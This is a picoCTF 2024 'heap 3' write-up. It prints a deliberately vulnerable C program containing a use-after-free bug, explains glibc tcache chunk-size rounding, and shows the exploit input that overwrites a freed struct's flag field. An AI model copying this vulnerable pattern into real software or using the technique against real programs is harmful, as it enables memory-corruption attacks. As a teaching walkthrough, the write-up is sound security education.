heap 3
Heap 3 is a Medium Binary Exploitation challenge from picoCTF 2024. It has around 4,000 user solves as of writing this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// Create struct
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
// Call function in struct
}
void print_menu() {
printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
// Create a struct
void init() {
printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
fflush(stdout);
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);
}
void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}
void free_memory() {
free(x);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x->flag, x->flag);
printf("+-------------+-----------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
alloc_object();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x->flag);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
free_memory();
break;
case 6:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
This challenge gives the ability to allocate an arbitrary amount memory on the heap, while also giving the ability to free a specific chunk x. This chunk contains a “flag”, which is checked against the string “pico.” If they are equal, the real flag will be printed. This looks like a classic Use-After-Free scenario, where we can allocate a chunk which overlaps with the object struct allocated on the heap, allowing us to overwrite the “flag”.
tcache
Freeing a chunk marks it as available to the heap allocator, and chunks from 24-1040 bytes (including metadata), go into the tcache for quick reallocation. The tcache consists of several bins, each storing free chunks of a certain size. Malloc rounds up sizes, so multiple sizes of malloc allocations will result in the freed chunk being placed into the same tcache bin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[*] Function (malloc/free/puts/scanf/quit): malloc
Size: 80
[*] allocations[0] = malloc(80)
[*] allocations[0] = 0x638f7613c2c0
[*] Function (malloc/free/puts/scanf/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #4 | SIZE: 73 - 88 | COUNT: 1 | HEAD: 0x638f7613c2c0 | KEY: 0x638f7613c010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x638f7613c2c0 | 0 | 0x61 (P) | 0x638f7613c | 0xf9bd1e0eaddcc598 |
+----------------------------------------------------------------------------------------------------------------------+
In this visual example, you can see the size range (73-88) for this tcache bin is pretty weird. This is because freed chunks have to have certain metadata attached, so malloc has to round up all chunks from 0 to 24 bytes to 24 bytes (to guarantee the metadata fits in the freed chunk), for all the other tcache bounded sizes, malloc rounds up to a 16 byte boundary. This isn’t really important to this challenge, but if you want to learn more about it I would recommend watching the videos in pwn.college’s Dynamic Allocator Misuse path.
Exploitation
Anyways, when malloc() is called with a size in the tcache bounds, it will first check the corresponding tcache bin to see if there are any available free chunks. If it finds one, it will return the address of that chunk back to the user. So all we need to do to gain control of the x chunk, is to free() it and then malloc() a chunk of a similar size.
1
2
3
4
5
6
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
This struct is the template for the instance of the struct that is allocated as x on the heap. If all the lengths are added up for all the fields, we get a total of 35 bytes that is malloced. Although, malloc will round up to 40 for efficiency (all values in range 25-40 get rounded to 40), because tcache bin 1 stores 24 byte chunks, and tcache bin 2 stores 40 byte chunks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/picoCTF]
└─$ ./chall
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 5
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 2
Size of object allocation: 40
Data for flag:
So, the solution is simply to free the original chunk, which gets sent to tcache bin 2. Then, allocate a new chunk, which checks the tcache to see if there are any same sized rounded chunks, all values from 25-40 would pull from tcache bin 2. Now, we can write to the x chunk as it prompts us with “Data for flag:”.
1
2
3
4
5
6
7
8
9
10
11
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaapico
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 4
YOU WIN!!11!!
Since the “flag” field is 30 bytes into the struct (10+10+10), simply write 30 characters before the target overwrite string with in this case is “pico”. When x’s memory is checked, it will show the “flag” as “pico” because we were able to gain control of that memory. This is exactly why freeing a chunk should only be done after that chunk is completely not in use anymore, so the data inside of it can’t be manipulated.
